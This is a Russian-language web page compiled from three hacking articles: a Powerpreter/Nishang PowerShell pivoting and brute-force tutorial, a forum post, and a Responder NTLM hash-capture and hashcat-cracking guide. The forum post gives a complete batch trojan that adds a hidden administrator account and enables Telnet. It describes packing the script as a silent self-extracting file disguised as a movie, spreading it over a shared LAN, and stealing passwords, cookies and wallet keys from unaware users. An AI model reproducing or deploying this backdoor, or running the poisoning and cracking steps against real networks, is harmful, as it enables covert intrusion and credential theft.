- Удаленный доступ и взлом компьютеров в сети с использованием powershell — Powerpreter and Nishang 0.3.1 – Часть 2
- Простейший скрытый способ получить доступ к нужному ПК из домашней сети
- HackWare.ru
- Этичный хакинг и тестирование на проникновение, информационная безопасность
- Взлом сетевой аутентификации Windows
- Аутентификация в Windows по сети
- Сбор информации о компьютерах Windows и их сетевых службах в локальной сети
- Перехват имени пользователя и пароля Windows по сети
- Анализ результатов responder
- Как взломать хеш NTLMv1/NTLMv2/LMv2
- Проблемы запуска responder
- check permissions or other servers running
- ValueError: invalid literal for int() with base 10
- Продвинутые возможности Responder
- Сетевые технологии Windows
- Протоколы аутентификации Windows
- Сетевые службы Windows
- Серверы Windows
Удаленный доступ и взлом компьютеров в сети с использованием powershell — Powerpreter and Nishang 0.3.1 – Часть 2
Это вторая статья из цикла статей о powerpreter’е.
Это вторая статья из цикла статей о powerpreter’е. Первую вы можете прочитать здесь:
Мы можем использовать Powerpreter, чтобы получить удаленный доступ и взламывать другие машины в сети. Далее я предполагаю, что у нас есть права локального администратора к машине в какой-то сети. Также наша учетная запись имеет права на доступ к другим машинам в сети (как и в большинстве корпоративных сетей).
Powerpreter содержит функционал Pivot. Он основывается на Powershell Remoting, то есть все, что можно сделать через Pivot, можно сделать и с помощью Invoke-Command. По сути Pivot просто является оболочкой для Invoke-Command.
Он может быть использован как в интерактивном, так и в не интерактивном режиме. Можно использовать имя пользователя и пароль или авторизацию текущей сессии (например, используя WCE-сгенерированную powershell сессию).
Давайте рассмотрим процедуру получения удаленного контроля (Pivot) над одной машиной.
Мы можем проделать это и для нескольких машин. Давайте посмотрим результат не интерактивного Pivot’а на нескольких машинах.
Просто и удобно, не правда ли?
Не интерактивный режим, конечно хорош, но он не сравнится с интерактивным. Давайте посмотрим, как происходит интерактивное получение доступа с помощью WCE-сгенерированного powershell (с использованием хэша пароля).
Отлично! У нас тут две сессии. Можем использовать Get-PSSession cmdlet для их отображения. Для взаимодействия с сессией используем функцию powerpreter’а Use-Session
Для взаимодействия мы можем использовать встроенную cmdlet Enter-PSSession. Возникает вопрос, зачем мы используем разные функции для выполнения похожих действий? Это случается, когда имеет место попытка вызова Enter-PSSession из удаленной сессии powerpreter’а .
Что следует помнить в предыдущем примере:
- При использовании Pivot с удаленной машины, следует использовать учетные данные в форме «имя_компьютера\имя_пользователя»
- При попытке вызова Enter-PSSession из удаленной сессии, была получена ошибка, AFAIK не поддерживается.
- Но Use-Session работает!
Почему же Use-Session работает?
function Use-Session
<
Use-Session -id
Данная команда для подключения к целевому компьютеру использует учетные данные, доступные в текущей Powershell сессии. Она создает PSSsessions. Для взаимодействия с созданной сессией спользуйте Use-Session.
.LINK
http://code.google.com/p/nishang
#>
Param ( [Parameter(Position = 0, Mandatory = $True)] $id)
while($cmd -ne «exit»)
<
$sess = Get-PSSession -Id $id
$computername = $sess.ComputerName
write-host -NoNewline «$computername> »
$cmd = read-host
$sb = [scriptblock]::Create($cmd)
Invoke-Command -ScriptBlock $sb -Session $sess
>
>
Вызов Invoke-Command поддерживается из удаленной powershell сессии. Мы используем ее с ключом –Session, чтобы сохранить ее состояние и иметь возможность использовать ее интерактивно.
Теперь давайте рассмотрим еще некоторый функционал powerpreter’а, позволяющий взламывать компьютеры, находящиеся с вами в одной сети.
Как следует из названия, мы можем использовать данную функцию для сканирования портов на других компьютерах сети.
Стоит отметить, что для сканирования портов был использован ключ –ScanPort. По умолчанию выполняется только ping, а также существует набор портов, сканируемых данной командой, но можно задать и свой набор портов.
Давайте поищем MS SQL Server в нашей сети.
Бинго! Мы нашли один.
Данная функция позволяет осуществлять взлом перебором значений таких служб, как, MSSQL, ActiveDirectory, Web или FTP на других компьютерах (по умолчанию – MSSQL). Давайте взломаем ранее найденный MSSQL Server с именем пользователя sa.
Как вы видите, мы можем использовать словарь паролей (а также IP адресов и имен пользователей) вместо использования одного пароля. Здесь есть небольшая уловка: список паролей должен начинаться со слова «password», как в нашем примере.
Почему? Давайте взглянем на код.
Param(
[Parameter(Mandatory = $true,
Position = 0,
ValueFromPipeLineByPropertyName = $true)]
[Alias(«PSComputerName»,»CN»,»MachineName»,»
IP»,»IPAddress»,»ComputerName»,»Url»,»Ftp»
,»Domain»,»DistinguishedName»)]
[string]$Identity,
[parameter(Position = 1,
ValueFromPipeLineByPropertyName = $true)]
[string]$UserName,
[parameter(Position = 2,
ValueFromPipeLineByPropertyName = $true)]
[string]$Password,
[parameter(Position = 3)]
[ValidateSet(«SQL»,»FTP»,»ActiveDirectory»,»Web»)]
[string]$Service = «SQL»
Что ж, у нас есть учетные данные для MSSQL Server, что дальше? Для того чтобы понять работу Execute-Command-MSSQL, см. предыдущую статью цикла: http://www.labofapenetrationtester.com/2012/12/command-execution-on-ms-sql-server-using-powershell.html
Функция, которая может проверить учетные данные на удаленной машине, а также открыть PSSessions, если они являются актуальными. Для более детального ознакомления см. http://www.labofapenetrationtester.com/2013/04/poshing-the-hashes.html
В powerpreter и другие скрипты, используемые в рамках Nishang, внесены некоторые изменения. Поэтому я выпустил новую версию Nishang 0.3.1. Репозиторий здесь: http://code.google.com/p/nishang/
Как всегда делитесь впечатлениями, сообщайте, если найдете ошибки и оставляйте пожелания.
Простейший скрытый способ получить доступ к нужному ПК из домашней сети
Привет всем, это моя первая статья на хабре, так что не судите строго. В этом посте я опишу как можно получить удаленный доступ к компьютеру пользователя в вашей локальной сети через командную строку, обходя все антивирусы и немного зная синтаксис командной строки Windows. Статья предназначена для использования только на Windows XP, но при желании можно переписать код под любую другую ОС семейства Windows. Итак, приступим. В целом, статья написана для пользователей начального уровня. Самая главная цель — это заполучить нужные данные (пароли, явки, дачи, доступ к почтовым ящикам, файлы ключей webmoney, куки и прочая важная перхоть) и уйти незаметно, не оставив следов проникновения. Итак, начнем, я нахожусь в локальной сети имеющей порядка 5000 пользователей, сеть со статикой или dhcp не имеет значения, мне розан ip адрес и я счастлив. В сети имеется тьма подсетей, роуты которых прописаны на серваке. MAC адрес компа прописан у админа сети, так как в моем случае, это было условие подключения к сетке, таким образом мой мак засветится в случае чего. Во избежание быть найденным, первым делом устанавливаем виртуальную машину (использовал VmWare 5.1), устанавливаем на нее XP, сканер портов (использовал SuperScan 3.00 Скачать можно здесь) и запускаем службу Telnet. Подключаем виртуальную машину к сети с помощью NAT и получаем таким образом совершенно другой mac-адрес машины смотрящей в сеть. Все гуд виртуалку поставили, идем дальше. Открываем обычный блокнот и пишем батник следующего содержания:
@Echo off
Net user Admin_Support lop /add >nul
Net localgroup net localgroup Ђ¤¬ЁЁбва в®ал Admin_support /add >nul
Net accounts /maxpwage:unlimited >nul sc config TlntSvr start= auto >nul
Sc start TlntSvr >nul
Reg add «HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList » /v Admin_support /t REG_DWORD /d 0 >null
Reg add »HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System» /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Reg add «HKCU\SOFTWARE\POLICIES\Microsoft\MMC» /v RestrictPemitSnapins /t Reg_dword /d 1 /f >nul del %SestemRoot%\system32\compmgmt.msc >nul
del Start_game.bat
1. Echo off (думаю всем понятно, объяснять не стоит).
2. Net user Admin_Support lop /add >nul Создаем в системе учетную запись с произвольным логином, в примере: Admin_Support и паролем lop. Учетка появится в списке учетных записей пользователей, можно придумать другое имя, к примеру что-то похожее на SUPPORT_388945a0 (учетная запись поставщика для службы справки и поддержки), на которую большинство пользователей не обращают внимания. Есть 1 нюанс мы создали учетку, но ведь она появится при входе в систему у пользователя, необходимо ее скрыть, об этом будет описано ниже.
3. Net localgroup net localgroup Ђ¤¬ЁЁбва в®ал Admin_support /add >nul Добавляем учетку Аdmin_support в группу Администраторы, кодировка слова «Администраторы», как у меня в данном случае «Ђ¤¬ЁЁбва в®ал» обязательно должна быть в кодировке DOS. Можно сделать в обычном Far’e. Т.е. то слово у меня уже в кодировке dos.
4. Net accounts /maxpwage:unlimited >nul Период времени в днях, в течение которого будет действовать пароль пользователя. Значение unlimited снимает ограничение по времени. Значение параметра /maxpwage должно быть больше, чем значение параметра /minpwage. Допустимы значения от 1 до 49 710 дней (т. е. значение unlimited равно 49 710 дней), по умолчанию используется значение 90 дней.
5. Sc config TlntSvr start= auto >nul Устанавливаем службу телнет в режим запуска «авто».
6. Sc start TlntSvr >nul Стартуем службу телнет.
7.Reg add “HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList ” /v admin_support /t REG_DWORD /d 0 >null Добавляем ключ в реестр, который скроет нашу учетку в записях в панели управления и при входе в винду (Аутентификации).
8. Reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System” /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Запрещаем запуск редактирования реестра. (Можно обойтись и без этого параметра).
9. Reg add “HKCU\SOFTWARE\POLICIES\Microsoft\MMC” /v RestrictPemitSnapins /t REG_DWORD /d 1 /f >nul
del %SestemRoot%\system32\compmgmt.msc >nul Удаляем mmc (Не обязательный параметр).
10. Reg add “HKCU\SOFTWARE\POLICIES\Microsoft\windows\System” /v DisableCMD /t REG_DWORD /d 2 /f >nul Запрещаю запуск командной строки. (Не обязательный параметр.)
11. Del Start_game.bat Удаляем сам батник.
Батник готов. Сохраняем содержимое блокнота как .bat файл, под любым именем, в моем случае это Start_game.bat
Далее делаем из bat файла exe файл с помощью обычного winrar’a. В параметрах winrar’a устанавливаем параметр «создать архив sfx» и «выполнить после распаковки файл» батник «Start_game.bat». Также в настройках создания архива указываем: распаковывать в скрытом режиме. Помимо этого добавляем к батнику, с помощью того же winrar’a иконку к файлу. Жмем создать архив и получаем exe-шник с иконкой. Работа с Winrar также показана в видеоуроке ниже.
З.Ы. Конечно же можно использовать и другие программы для создания exe файла, которые имеют различный нужный функционал, такой как задание размера файла, типа, скрытия окна распаковки и прочих интересных вещей. В данном примере для большей наглядности я использовал WinRAR.
(Делать можно необязательно exe файл можно создать и другие типы файлов).
Итак мы получили файл с именем Start_game.exe, также можно создать более оригинальный файл с актуальным именем, чтобы пользователи увидев его в сети захотели его скачать, например название фильма, который недавно вышел или скоро должен выйти и его все ждут, (например Трансформеры-3HDTVRip.avi) ну и так далее.
Далее расшариваем папку в сети с нашим Start_game.exe. Как только наш юзверь скачает и запустит наш Start_game.exe, сработает наш батник, и удалится. Открываем нашу виртуальную машину и запускаем сканер портов, где указываем диапозон сканирования нашей сети (в моем случае это 10.16.93.1-10.16.93.255) и порт телнета (22 или 23). Сканер покажет у какого ip адреса открыт порт телнета. Если порт открыт, смело подключаемся, открываем командную строку и подключаемся командой: telnet ip_адрес, где вводим наш логин admin_support и пароль lop. тем самым получаем доступ к командной строке юзверя, и делаем СВОЁ ДЕЛО! ))) Умея пользоваться командной строкой, можно найти и скопировать любые файлы на компьютере пользователя, скрыто установить практически любое нужное программное обеспечение, и много еще чего интересного. Для более наглядного понимания статьи выкладываю реальный видеоурок со своей сети. Урок довольно старый, так как занимался я этим довольно давно.
При желании батник можно доработать для более интересных нужд, в данной статье показан лишь простой способ доступа к ПК пользователя без его ведома.
З.Ы. Единственный минус батника — cmd.exe висит в процессах у пользователя в диспетчере задач. Но я думаю это не так страшно, так как обычные пользователи не особо заморачиваются в знании имени процесса в диспетчере задач.
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.
HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Взлом сетевой аутентификации Windows
Аутентификация в Windows по сети
В Windows реализовано много разнообразных протоколов аутентификации и различных сетевых служб.
Самые распространённые примеры сетевой аутентификации Windows это:
Для входа на другие компьютеры в сети Windows используются такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP — думаю, даже пользователям Windows с многолетним стажем эти термины непонятны. В этой статье с помощью программы Responder мы будем перехватывать хеши, используемые при аутентификации в Windows. Программа Responder весьма эффективна и для базового использования не требует знания и понимания методов аутентификации и сетевых служб Windows. Поэтому мы начнём с практики — с перехвата хеша аутентификации и его расшифровки, благодаря чему получим имя пользователя и пароль в операционных системах Windows. Тем не менее в конце статьи будет дана характеристика способов аутентификации и сетевых служб.
Кстати про сетевые службы. Responder использует принципы атаки «человек-посередине», когда атакующий выступает в роле посредника, ретранслятора процесса аутентификации между жертвой и сервером. Responder вместо привычного и хорошо знакомого многих ARP спуфинга эксплуатирует такие сетевые службы Windows как: LLMNR, NBT-NS и MDNS. Опять же, далеко не всем знакомы эти термины и принципы работы этих служб, но, к счастью, Responder и не требует их глубокого понимания, а их краткая характеристика также будет в конце статьи.
Responder это инструмент для выполнения атаки человек-посередине в отношении методов аутентификации в Windows. Эта программа включает в себя травитель LLMNR, NBT-NS и MDNS благодаря которому перенаправляется трафик с запросами и хешами аутентификации. Также в программу встроены жульнические серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию, для которых Responder выполняет роль ретранслятора.
Итак, Responder умеет перенаправлять трафик жертвы на компьютер атакующего и выступает посредником во время аутентификации пользователя. Также Responder имеет встроенные сервера аутентификации.
Сбор информации о компьютерах Windows и их сетевых службах в локальной сети
Перед запуском полноценной атаки, давайте хотя бы вскользь начнём знакомство с некоторыми сетевыми службами Windows.
У Responder есть модуль Режима анализа. Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.
То есть мы сможем видеть сообщения сетевых служб Windows, но не будет отправлять в ответ на них фальшивые ответы для перенаправления трафика — мы будем только наблюдать.
Режим анализа включается опцией -A. Также в своих командах я буду использовать опцию -v для более подробного вывода.
Ещё нужно указать имя сетевого интерфейса — имена всех сетевых интерфейсов на своём компьютере можно посмотреть командой
Интерфейс нужно указывать с опцией -I, я буду использовать сетевой интерфейс с именем wlo1, следовательно, моя команда следующая:
На первом экране нам показана сводка, какие именно травители, сервера аутентификации и опции включены:
Рассмотрим некоторые записи:
Подтверждает, что Responder в режиме анализа и на запросы NBT-NS, LLMNR, MDNS не будут отправляться спуфленные данные для выполнения перенаправления трафика.
В следующей записи
говориться, что в этой сети будет работать ICMP Redirect.
В следующей записи:
говориться, что получен запрос от протокола NBT-NS. Слово ignoring говорит о том, что никаких действий предпринято не было — то есть атакующим не был отправлен ответ.
Информация о запросе по протоколу LLMNR:
В следующих строках:
говориться, что благодаря устаревшему протоколу LANMAN обнаружена рабочая группа с именем WORKGROUP, и что в этой рабочей группе найдены следующие рабочие станции и серверы: HACKWARE-MIAL, HACKWARE-SERVER, RT-N66U, VYACHESLAV — это имена компьютеров Windows в сети.
Пример записи о поступившем запросе по протоколу MDNS:
Для остановки программы нажмите CTRL+c.
Перехват имени пользователя и пароля Windows по сети
Теперь приступим к захвату хеша и затем его расшифровке.
Запускаем responder с набором опций -r -P -v -f, также указываем опцию -I с именем сетевого интерфейса:
Далее атака не требует каких-либо действий с нашей стороны.
Фраза Poisoned answer sent to означает, что был отправлен спуфленный ответ на запрос, результатом которого должно стать перенаправление трафика через наш компьютер. Примеры для всех трёх протоколов:
Пример удачно перехваченного хеша:
Из этих строк следует, что при подключении пользователя к сетевой общей папке по протоколу SMB использовалась аутентификация по протоколу NTLMv2-SSP. Имя компьютера HACKWARE-MIAL, а имя пользователя MiAl. Также дан перехваченный хеш, при расшифровке которого мы получим пароль пользователя.
Анализ результатов responder
Необязательно следить за выводом в консоль и копировать из неё хеши — все данные сохраняются в логи.
Файлы журналов располагаются в папке «logs/«. Хеши будут сохранены и напечатаны только один раз на одного пользователя на один тип хеша. Будет выведен каждый хеш, если вы используете Вербальный режим, то есть если вы указали опцию -v.
Вся активность будет записана в файл Responder-Session.log
Режим анализа запишет свой журнал в Analyze-Session.log
Травление будет записано в файл Poisoners-Session.log
В Kali Linux и BlackArch эти файлы размещены в директории /usr/share/responder/logs/.
С помощью команды
можно вывести краткий итог полученных данных: имена компьютеров и имена пользователей.
покажет захваченные хеши.
Обратите внимание, NTLMV2 хеши перечислены после фразы
А NTLMv1 идут после фразы NTLMv1:
Некоторые хеши начинаются на имя пользователя, а затем через два двоеточия идёт имя компьютера:
В некоторых хешах после имени пользователя идёт имя рабочей группы — видимо, в том случае, если не получилось определить имя компьютера:
Для аккаунтов Microsoft в качестве имени пользователя указывается email, а затем через два двоеточия идёт срока «MicrosoftAccount»:
Как взломать хеш NTLMv1/NTLMv2/LMv2
Нам необходимо взломать следующий хеш:
На странице примера хешей, хеш NetNTLMv1 / NetNTLMv1+ESS (режим hashcat 5500) показан так:
А NetNTLMv2 (режим hashcat 5600) показан так:
Мой хеш заметно длиннее, и хотя responder-dumphash поместила этот хеш в группу NTLMV2, у меня возникли некоторые сомнения.
Проверяем ещё одной программой:
То есть всё таки это хеш NetNTLMv2, режим Hashcat равен 5600.
Hashcat поддерживает следующие родственные хеши:
Для запуска атаки по маске для взлома NetNTLMv2 в Hashcat нужно выполнить команду вида:
Пример моей реальной команды:
- hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe, например.
- —force — игнорировать предупреждения
- —hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия
- -m 5600 — тип хеша NetNTLMv2
- -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту
- -a 3 — означает атаку по маске
- -i — означает постепенно увеличивать количество символов в генерируемых паролях
- —increment-min 1 — означает начать с длины маски равной единице
- —increment-max 10 — означает закончить перебор при длине маске равный десяти
- ‘ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D59D93ECF6551933F06AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB2169142F40000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000000000007A5ED001DCD99403D273D180B6FBE7AC1AE2550011A910EA5B717776F355F630A0010000000000000000000000000000000000009001E0063006900660073002F0056005900410043004800450053004C004100560000000000’ — хеш для взлома
- ?a?a?a?a?a?a?a?a?a?a — маска
- ?a в маске означает все символы из следующих наборов:
- abcdefghijklmnopqrstuvwxyz
- ABCDEFGHIJKLMNOPQRSTUVWXYZ
- 0123456789
- !»#$%&'()*+,-./:; ?@[\]^_`
Обратите внимание на запредельную скорость брутфорса этого алгоритма: 276.9 MH/s. За примерно 0 секунд (программа не показывает доли секунды) перебрано 9,375,744 паролей. Это результат на ноуте с GeForce GTX 1050 Ti — на настольных компьютерах с топовой видеокартой результаты будут ещё более впечатляющими. Можно констатировать — если хеш перехвачен, то он практически наверняка будет взломан, причём довольно быстро.
Для взлома NTLMv2 по словарю в Hashcat запустите команду вида:
Новое в этой команде:
- -a 0 — означает атаку по словарю
- /ПУТЬ/ДО/СЛОВАРЯ
Проблемы запуска responder
check permissions or other servers running
При запуске Режима анализа вы могли увидеть на скриншоте надпись:
Дело в том, что Responder для выполнения функций ретранслятора прослушивает ряд портов, а именно следующие порты: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.
Соответственно, эти порты не должны быть заняты. У меня был запущен веб-сервер, который прослушивал 80й порт, поэтому и возникла эта ошибка. Убедитесь, что в вашей системе все эти порты свободны.
Если на вашей системе запущена Samba, остановите smbd и nmbd и все другие службы, прослушивающие указанные порты.
В Ubuntu по умолчанию запущена служба, которая прослушивает 53 порт, для исправления откройте для редактирования файл /etc/NetworkManager/NetworkManager.conf и закомментируйте строку:
Затем остановите dnsmasq командой:
ValueError: invalid literal for int() with base 10
Если в /etc/resolv.conf в качестве DNS серверов указаны IPv6 адреса, например:
то при запуске Responder в режиме анализа, например:
Для её исправления откройте файл LLMNR.py (в Kali Linux и в BlackArch этот файл размещён по пути /usr/share/responder/poisoners/LLMNR.py), найдите там строку
и замените её на строку:
Продвинутые возможности Responder
Мы рассмотрели такую функцию Responder как перехват хеша аутентификации. У программы имеются и другие функции и, возможно, будет написана вторая часть этой инструкции. Вы можете самостоятельно ознакомится с другими опциями и инструментами входящими в Responder на странице https://kali.tools/?p=1679
Изменить настройки программы вы можете в файле /usr/share/responder/Responder.conf
Сетевые технологии Windows
Протоколы аутентификации Windows
NTLMv1
NTLM (NT LAN Manager) — протокол сетевой аутентификации, разработанный фирмой Microsoft для Windows NT.
NTLM — это результат дальнейшего развития LANMAN.
Никакой официальной информации о нём не поступало, но многое выяснила группа разработчиков Samba во время разработки своей программы.
Для передачи на сервер аутентификации (англ. Primary Domain Controler (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.
NTLM — это протокол проверки подлинности запроса и ответа, который использует три сообщения для аутентификации клиента в среде, ориентированной на соединение и четвертое дополнительное сообщение, если требуется проверка целостности.
1. Пользователь устанавливает подключение(сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.
2. Сервер отвечает сообщением CHALLENGE_MESSAGE, которое используется для идентификации (установления личности) клиента.
3. Клиент отвечает на сообщение при помощи AUTHENTICATE_MESSAGE.
Протокол NTLM использует одно или оба значения хешированных паролей, оба из них хранятся на сервере (или контроллере домена), которые из-за отсутствия привязки эквивалентны паролю. Это означает, что хешированное значение с сервера может быть использовано для аутентификации без фактического знания пароля. Эти два значения представляют собой LM Hash (функции, основанные на стандарте шифрования данных для первых 14 символов пароля преобразованные в традиционную 8 битную кодировку для языка ПК) и NT Hash (значение функции MD4 от переведенного в кодировку little endian UTF-16 Unicode пароля). Оба хеша имеют длину в 16 байт (128 бит) каждый.
Протокол NTLM использует одну из двух односторонних функций, зависящих от версии NTLM. NT LanMan и NTLM версии 1 используют функцию LanMan на основе стандартного шифрования данных (LMOWF), в то время как NTLMv2 использует одностороннюю функцию NT MD4 (NTOWF[1][2]).
Проверка подлинности NTLM по-прежнему поддерживается и обязательна для использования на системах, работающих под управлением Windows NT Server 4.0 или более ранних версий, а также для компьютеров, настроенных как члены рабочих групп. Проверка подлинности NTLM также используется для проверки подлинности при аутентификации на изолированных системах. Начиная с Windows 2000, проверка подлинности Kerberos версии 5 является предпочтительным методом проверки подлинности для сред Active Directory.
NTLMv2
NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно. С самого изобретения протоколы NTLMv1 и NTLMv2 подвергались множеству нападений и демонстрировали широкий спектр серьёзных уязвимостей.
В схеме аутентификации, реализованной при помощи SMB или SMB2 сообщений, вне зависимости от того, какой вид диалекта аутентификации будет использован (LM, LMv2, NTLM, NTLM2, NTLMv2), процесс аутентификации происходит следующим образом:
- Клиент пытается установить соединение с сервером и посылает запрос, в котором информирует сервер, на каких диалектах он способен произвести аутентификации, например: LM, NTLM, NTLM2, NTLMv2. Следовательно, диалект аутентификации LMv2 между клиентом и сервером исключается.
- Сервер из полученного от клиента списка диалектов (по умолчанию) выбирает наиболее защищённый диалект (например, NTLMv2), затем отправляет ответ клиенту.
- Клиент, определившись с диалектом аутентификации, пытается получить доступ к серверу и посылает запрос NEGOTIATE_MESSAGE.
- Сервер получает запрос от клиента и посылает ему ответ CHALLENGE_MESSAGE, в котором содержится случайная (random) последовательность из 8 байт. Она называется Server Challenge.
- Клиент, получив от сервера последовательность Server Challenge, при помощи своего пароля производит шифрование этой последовательности, а затем посылает серверу ответ AUTHENTICATE_MESSAGE, который содержит 24 байта.
- Сервер, получив ответ, производит ту же операцию шифрования последовательности Server Challenge, которую произвёл клиент. Затем, сравнив свои результаты с ответом от клиента, на основании совпадения разрешает или запрещает доступ.
LMv2
LM-хеш, или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.
Эволюция алгоритмов аутентификации LM и NTLM: LM → LMv2 → NTLM → NTLM2 → NTLMv2
Сетевые службы Windows
Теперь рассмотрим сетевые службы Windows, эксплуатируя которые становится возможным выполнить перенаправление трафика на компьютер атакующего.
LLMNR
Link-Local Multicast Name Resolution (LLMNR) — это протокол, основанный на формате пакета системы доменных имён (DNS), который позволяет хостам как IPv4, так и IPv6 выполнять разрешение имён для хостов на одном и том же локальном канале. Он включён в Windows Vista, Windows Server 2008, Windows 7, Windows 8 и Windows 10. Он также реализован с помощью systemd-resolved в GNU/Linux.
Отвечая на запросы, респонденты прослушивают порт UDP 5355 по следующему адресу многоадресной рассылки:
- IPv4 — 224.0.0.252, MAC адрес 01-00-5E-00-00-FC
- IPv6 — FF02:0:0:0:0:0:1:3 (эту нотацию можно сократить до FF02::1:3), MAC адрес 33-33-00-01-00-03
Ответчики также прослушивают TCP-порт 5355 по одноадресному (unicast) адресу, который хост использует для ответа на запросы.
NBT-NS
NBT-NS это NetBIOS-NS, то есть NetBIOS Name Service.
NetBIOS Name Service является одним из трёх сервисов NetBIOS: служба имён (NetBIOS-NS) для регистрации и разрешения имён. Подробности смотрите в статье NetBIOS: что это, как работает и как проверить.
Чтобы начать сеансы или распространять дейтаграммы, приложение должно зарегистрировать своё имя NetBIOS, используя службу имён. Имена NetBIOS имеют длину 16 октетов и различаются в зависимости от конкретной реализации. Часто 16-й октет, называемый суффиксом NetBIOS, обозначает тип ресурса и может использоваться для сообщения другим приложениям, какой тип услуг предлагает система. В NBT служба имён работает на UDP-порту 137 (TCP-порт 137 также может использоваться, но редко задействуется).
Примитивы службы имён, предлагаемые NetBIOS:
- Add name (Добавить имя) — регистрирует имя NetBIOS.
- Add group name (Добавить имя группы) — регистрирует NetBIOS-имя группы.
- Delete name (Удалить имя) — отменяет регистрацию имени NetBIOS или имени группы.
- Find name (Найти имя) — поиск имени NetBIOS в сети.
Разрешение имён NetBIOS не поддерживается Microsoft для Интернет-протокола версии 6 (IPv6).
MDNS
Multicast DNS — это Многоадресный DNS.
В компьютерных сетях протокол многоадресной DNS (mDNS) разрешает имена хостов в IP-адреса в небольших сетях, которые не включают локальный сервер имён. Это сервис с нулевой конфигурацией, использующий по существу те же программные интерфейсы, форматы пакетов и рабочую семантику, что и одноадресная система доменных имён (DNS). Хотя Стюарт Чешир разработал mDNS как самостоятельный протокол, он может работать совместно со стандартными DNS-серверами.
Протокол mDNS опубликован как RFC 6762, использует пакеты многоадресного протокола дейтаграмм пользователя (UDP) и используется пакетами программного обеспечения Apple Bonjour и Avahi с открытым исходным кодом. Android содержит реализацию mDNS. mDNS также был реализован в Windows 10, первоначально применение ограничивалось обнаружением сетевых принтеров, впоследствии стал способным также разрешать имена хостов.
mDNS может работать в сочетании с DNS Service Discovery (DNS-SD), сопутствующим методом нулевой конфигурации.
Когда клиенту mDNS необходимо разрешить имя хоста, он отправляет сообщение запроса в многоадресной IP рассылке, в которой просит хост, имеющий это имя, идентифицировать себя. Затем этот целевой компьютер многоадресно передаёт сообщение, которое включает его IP-адрес. Все машины в этой подсети могут затем использовать эту информацию для обновления своих кэшей mDNS. Любой хост может отказаться от своей заявки на имя, отправив ответный пакет с временем жизни (TTL), равным нулю.
По умолчанию mDNS разрешает только имена хостов, относящихся к доменам верхнего уровня (TLD) .local. Это может вызвать проблемы, если этот домен включает хосты, которые не реализуют mDNS, но которые можно найти через обычный DNS-сервер одноадресной передачи. Разрешение таких конфликтов требует изменений конфигурации сети, которые нарушают цель нулевой конфигурации.
Серверы Windows
HTTP
SMB
MSSQL
Система управления базами данных.
FTP
Протокол обеспечивающий работу файлового сервера.
LDAP
LDAP (англ. Lightweight Directory Access Protocol — «легкорасширяемый протокол доступа к каталогам») — протокол прикладного уровня для доступа к службе каталогов X.500, разработанный IETF как облегчённый вариант разработанного ITU-T протокола DAP. LDAP — относительно простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Обычно LDAP-сервер принимает входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов, инкапсулированных в SSL, обычно используется порт 636.